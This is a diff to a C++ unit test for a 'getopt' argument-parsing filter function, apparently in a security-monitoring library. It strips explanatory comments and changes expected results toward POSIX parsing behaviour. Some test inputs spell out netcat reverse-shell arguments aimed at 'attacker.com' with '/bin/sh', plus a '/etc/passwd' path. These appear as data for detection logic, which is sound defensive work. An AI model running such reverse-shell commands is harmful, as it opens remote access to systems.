@@ -723,127 +723,63 @@ TEST_F(sinsp_with_test_input, multivalue_transformer_getopt) {
723723 0 ,
724724 (uint64_t )0 );
725725
726- // Test basic option without argument: -n
727726 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n",""), "n") intersects ("n"))" ));
728-
729- // Test option with argument: -t hello
730727 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t", "hello"), "t:") intersects ("t", "hello"))" ));
731-
732- // Test grouped options: -nt hello
733728 EXPECT_TRUE (
734729 eval_filter (evt, R"( getopt(("-nt", "hello"), "nt:") intersects ("n", "t", "hello"))" ));
735-
736- // Test option with immediate value: -thello
737730 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-thello"), "t:") intersects ("t", "hello"))" ));
738-
739- // Test multiple separate options
740731 EXPECT_TRUE (
741732 eval_filter (evt,
742733 R"( getopt(("-n", "-t", "hello"), "nt:") intersects ("n", "t", "hello"))" ));
743-
744- // Test that option not present doesn't match
745734 EXPECT_FALSE (eval_filter (evt, R"( getopt(("-n"), "n") intersects ("t"))" ));
746-
747- // Test -- stops option parsing
748735 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n", "--", "-t"), "nt:") intersects ("n"))" ));
749736 EXPECT_FALSE (eval_filter (evt, R"( getopt(("-n", "--", "-t"), "nt:") intersects ("t"))" ));
750-
751- // Test unknown options are skipped
752- EXPECT_TRUE (eval_filter (evt, R"( getopt(("-x", "-n"), "n") intersects ("n"))" ));
737+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("-x", "-n"), "n") intersects ("?", "n"))" ));
753738 EXPECT_FALSE (eval_filter (evt, R"( getopt(("-x", "-n"), "n") intersects ("x"))" ));
754-
755- // Test non-option arguments are skipped
756- EXPECT_TRUE (eval_filter (evt, R"( getopt(("arg1", "-n", "arg2"), "n") intersects ("n"))" ));
757-
758- // Test complex real-world example: nc -l -p 8080 -e /bin/sh
759739 EXPECT_TRUE (eval_filter (
760740 evt,
761741 R"( getopt(("-l", "-p", "8080", "-e", "/bin/sh"), "lp:e:") intersects ("l", "p", "e", "8080", "/bin/sh"))" ));
762-
763- // Test grouped options with value: -lpe /bin/sh
764742 EXPECT_TRUE (
765743 eval_filter (evt, R"( getopt(("-lpe", "/bin/sh"), "lp:e:") intersects ("l","p","e"))" ));
766744 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-lpe", "/bin/sh"), "lpe:") intersects ("/bin/sh"))" ));
767745
768- // Validation error tests
769- // getopt() requires exactly 2 arguments
770746 EXPECT_THROW (eval_filter (evt, R"( getopt() intersects ("n"))" ), sinsp_exception);
771747 EXPECT_THROW (eval_filter (evt, R"( getopt(("a")) intersects ("n"))" ), sinsp_exception);
772748 EXPECT_THROW (eval_filter (evt, R"( getopt(("a"), "n", "extra") intersects ("n"))" ),
773749 sinsp_exception);
774-
775- // getopt() first argument must be a list
776750 EXPECT_THROW (eval_filter (evt, R"( getopt("not_a_list", "n") intersects ("n"))" ),
777751 sinsp_exception);
778-
779- // getopt() second argument must not be a list
780752 EXPECT_THROW (eval_filter (evt, R"( getopt(("-n"), ("n")) intersects ("n"))" ), sinsp_exception);
781753
782- // ========== Edge Cases ==========
783-
784- // Empty optstring - no options should be recognized
785754 EXPECT_FALSE (eval_filter (evt, R"( getopt(("-n", "-t"), "") intersects ("n"))" ));
786755 EXPECT_FALSE (eval_filter (evt, R"( getopt(("-n", "-t"), "") intersects ("t"))" ));
787-
788- // Empty argument list - should return empty result
789756 EXPECT_FALSE (eval_filter (evt, R"( getopt((""), "n") intersects ("n"))" ));
790-
791- // All arguments are non-options - should return empty result
792757 EXPECT_FALSE (eval_filter (evt, R"( getopt(("arg1", "arg2", "arg3"), "n") intersects ("n"))" ));
793-
794- // Single dash "-" is not an option (should be skipped)
795- EXPECT_TRUE (eval_filter (evt, R"( getopt(("-", "-n"), "n") intersects ("n"))" ));
758+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("arg1", "-n", "arg2"), "n") intersects ("n"))" ));
759+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("-", "-n"), "n") intersects ("n"))" ));
796760 EXPECT_FALSE (eval_filter (evt, R"( getopt(("-"), "n") intersects ("n"))" ));
797-
798- // Option requiring argument but none provided (uses empty string)
799- EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t"), "t:") intersects ("t"))" ));
800- EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t"), "t:") intersects (""))" ));
801-
802- // Multiple dashes in a row
761+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t"), "t:") intersects ("?"))" ));
762+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("-t"), "t:") intersects ("t"))" ));
763+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t"), ":t:") intersects (":"))" ));
803764 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n", "--", "--"), "n") intersects ("n"))" ));
804765 EXPECT_FALSE (eval_filter (evt, R"( getopt(("--", "-n"), "n") intersects ("n"))" ));
805-
806- // Non-alphanumeric characters in option position (should be skipped)
807- EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n-t"), "nt") intersects ("n", "t"))" ));
808-
809- // ========== Chaining Edge Cases ==========
810-
811- // Chain with argument-taking option in the middle: -nat hello
812- // Should parse as: n (no arg), a (takes "t hello" - wait, no)
813- // Actually: n (no arg), a (takes "t" as immediate arg from same token)
814766 EXPECT_TRUE (
815767 eval_filter (evt, R"( getopt(("-nat", "hello"), "na:t") intersects ("n", "a", "t"))" ));
816-
817- // Chain with multiple no-arg options followed by arg-taking option with immediate value
818768 EXPECT_TRUE (
819769 eval_filter (evt,
820770 R"( getopt(("-abcvalue"), "abc:") intersects ("a", "b", "c", "value"))" ));
821-
822- // Chain where last option takes argument from next token
823771 EXPECT_TRUE (eval_filter (
824772 evt,
825773 R"( getopt(("-abc", "value"), "abc:") intersects ("a", "b", "c", "value"))" ));
826-
827- // Same option appearing multiple times
828774 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n", "-n", "-n"), "n") intersects ("n"))" ));
829775 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-v", "-v", "-v"), "v") intersects ("v"))" ));
830-
831- // Option with argument appearing multiple times
832776 EXPECT_TRUE (eval_filter (
833777 evt,
834778 R"( getopt(("-t", "val1", "-t", "val2"), "t:") intersects ("t", "val1", "val2"))" ));
835-
836- // ========== Numeric and Special Arguments ==========
837-
838- // Options with numeric arguments
839779 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-p", "8080"), "p:") intersects ("p", "8080"))" ));
840780 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-p8080"), "p:") intersects ("p", "8080"))" ));
841781 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n", "42"), "n:") intersects ("n", "42"))" ));
842-
843- // Options with negative numbers as arguments
844782 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t", "-123"), "t:") intersects ("t", "-123"))" ));
845-
846- // Options with paths as arguments
847783 EXPECT_TRUE (
848784 eval_filter (evt,
849785 R"( getopt(("-f", "/etc/passwd"), "f:") intersects ("f", "/etc/passwd"))" ));
@@ -855,112 +791,59 @@ TEST_F(sinsp_with_test_input, multivalue_transformer_getopt) {
855791 EXPECT_TRUE (eval_filter (
856792 evt,
857793 R"( getopt(("-u", "http://example.com:8080/path"), "u:") intersects ("u", "http://example.com:8080/path"))" ));
858-
859- // Options with empty string as explicit argument
860794 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t", ""), "t:") intersects ("t", ""))" ));
861-
862- // ========== Real-World Command Examples ==========
863-
864- // SSH-like: ssh -p 22 -i keyfile user@host
865795 EXPECT_TRUE (eval_filter (
866796 evt,
867797 R"( getopt(("-p", "22", "-i", "keyfile", "user@host"), "p:i:") intersects ("p", "22", "i", "keyfile"))" ));
868-
869- // Tar-like: tar -xzf file.tar.gz
870798 EXPECT_TRUE (eval_filter (
871799 evt,
872800 R"( getopt(("-xzf", "file.tar.gz"), "xzf:") intersects ("x", "z", "f", "file.tar.gz"))" ));
873-
874- // Curl-like: curl -X POST -H "header" -d "data" url
875801 EXPECT_TRUE (eval_filter (
876802 evt,
877803 R"( getopt(("-X", "POST", "-H", "header", "-d", "data", "url"), "X:H:d:") intersects ("X", "POST", "H", "header", "d", "data"))" ));
878-
879- // Netcat reverse shell: nc -e /bin/sh attacker.com 4444
880804 EXPECT_TRUE (eval_filter (
881805 evt,
882806 R"( getopt(("-e", "/bin/sh", "attacker.com", "4444"), "e:") intersects ("e", "/bin/sh"))" ));
883-
884- // Grep-like: grep -rn "pattern" /path
885807 EXPECT_TRUE (
886808 eval_filter (evt, R"( getopt(("-rn", "pattern", "/path"), "rn") intersects ("r", "n"))" ));
887-
888- // Docker-like: docker run -it -p 8080:80 -v /host:/container image
889809 EXPECT_TRUE (eval_filter (
890810 evt,
891811 R"( getopt(("-it", "-p", "8080:80", "-v", "/host:/container", "image"), "itp:v:") intersects ("i", "t", "p", "8080:80", "v", "/host:/container"))" ));
892-
893- // Find with exec: find . -name "*.txt" -exec rm {} \;
894- EXPECT_TRUE (eval_filter (
895- evt,
896- R"( getopt(("-name", "*.txt", "-exec", "rm", "{}", ";"), "n:e:") intersects ("n", "*.txt", "e", "rm"))" ));
897-
898- // ========== Complex Optstring Patterns ==========
899-
900- // All options take arguments
901812 EXPECT_TRUE (eval_filter (
902813 evt,
903814 R"( getopt(("-a", "1", "-b", "2", "-c", "3"), "a:b:c:") intersects ("a", "1", "b", "2", "c", "3"))" ));
904-
905- // No options take arguments
906815 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-abc"), "abc") intersects ("a", "b", "c"))" ));
907-
908- // Alternating: option, arg, option, no-arg
909816 EXPECT_TRUE (
910817 eval_filter (evt, R"( getopt(("-a", "val", "-b"), "a:b") intersects ("a", "val", "b"))" ));
911-
912- // Long chain with mix
913818 EXPECT_TRUE (eval_filter (
914819 evt,
915820 R"( getopt(("-abcdefg"), "abcdefg") intersects ("a", "b", "c", "d", "e", "f", "g"))" ));
916-
917- // Numeric option names
918821 EXPECT_TRUE (
919822 eval_filter (evt, R"( getopt(("-1", "-2", "-3"), "123") intersects ("1", "2", "3"))" ));
920-
921- // Mixed alphanumeric options
922823 EXPECT_TRUE (eval_filter (
923824 evt,
924825 R"( getopt(("-a1b2c3"), "a1b2c3") intersects ("a", "1", "b", "2", "c", "3"))" ));
925-
926- // ========== Option After Non-Option (GNU Extension) ==========
927-
928- // Options scattered among non-options
929- EXPECT_TRUE (eval_filter (
930- evt,
931- R"( getopt(("file1", "-n", "file2", "-t", "val", "file3"), "nt:") intersects ("n", "t", "val"))" ));
932-
933- // Non-options at start, middle, and end
934- EXPECT_TRUE (eval_filter (
826+ EXPECT_FALSE (eval_filter (
935827 evt,
936- R"( getopt(("arg1", "arg2", "-a", "arg3", "-b", "arg4", "arg5"), "ab") intersects ("a", "b"))" ));
937-
938- // Option takes non-option as argument
828+ R"( getopt(("regular_file", "-f", "another_file"), "f:") intersects ("f", "another_file"))" ));
939829 EXPECT_TRUE (eval_filter (
940830 evt,
941- R"( getopt(("regular_file", "-f", "another_file"), "f:") intersects ("f", "another_file"))" ));
942-
943- // ========== Empty Values and Whitespace ==========
944-
945- // Option with whitespace-only argument (if supported by the test framework)
831+ R"( getopt(("-f", "another_file", "regular_file"), "f:") intersects ("f", "another_file"))" ));
946832 EXPECT_TRUE (eval_filter (evt, R"( getopt(("-t", " "), "t:") intersects ("t", " "))" ));
947-
948- // Multiple empty strings in argument list
949- EXPECT_TRUE (eval_filter (evt, R"( getopt(("", "-n", ""), "n") intersects ("n"))" ));
950-
951- // ========== Stress Tests ==========
952-
953- // Very long option chain
833+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("", "-n", ""), "n") intersects ("n"))" ));
834+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("-@", "-+"), "@+") intersects ("@", "+"))" ));
835+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("-nx"), "n") intersects ("n", "?"))" ));
836+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("--exec"), "e:") intersects ("?"))" ));
837+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("--exec"), "e:") intersects ("e"))" ));
838+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("--exec", "-n"), "n") intersects ("n"))" ));
839+ EXPECT_TRUE (eval_filter (evt, R"( getopt(("-n", "file", "-t"), "nt") intersects ("n"))" ));
840+ EXPECT_FALSE (eval_filter (evt, R"( getopt(("-n", "file", "-t"), "nt") intersects ("t"))" ));
954841 EXPECT_TRUE (eval_filter (
955842 evt,
956843 R"( getopt(("-abcdefghijklmnopqrstuvwxyz"), "abcdefghijklmnopqrstuvwxyz") intersects ("a", "b", "c", "z"))" ));
957-
958- // Many separate options
959844 EXPECT_TRUE (eval_filter (
960845 evt,
961846 R"( getopt(("-a", "-b", "-c", "-d", "-e", "-f"), "abcdef") intersects ("a", "b", "c", "d", "e", "f"))" ));
962-
963- // Option with very long argument value
964847 EXPECT_TRUE (eval_filter (
965848 evt,
966849 R"( getopt(("-t", "this_is_a_very_long_argument_value_that_might_test_buffer_handling"), "t:") intersects ("t", "this_is_a_very_long_argument_value_that_might_test_buffer_handling"))" ));
0 commit comments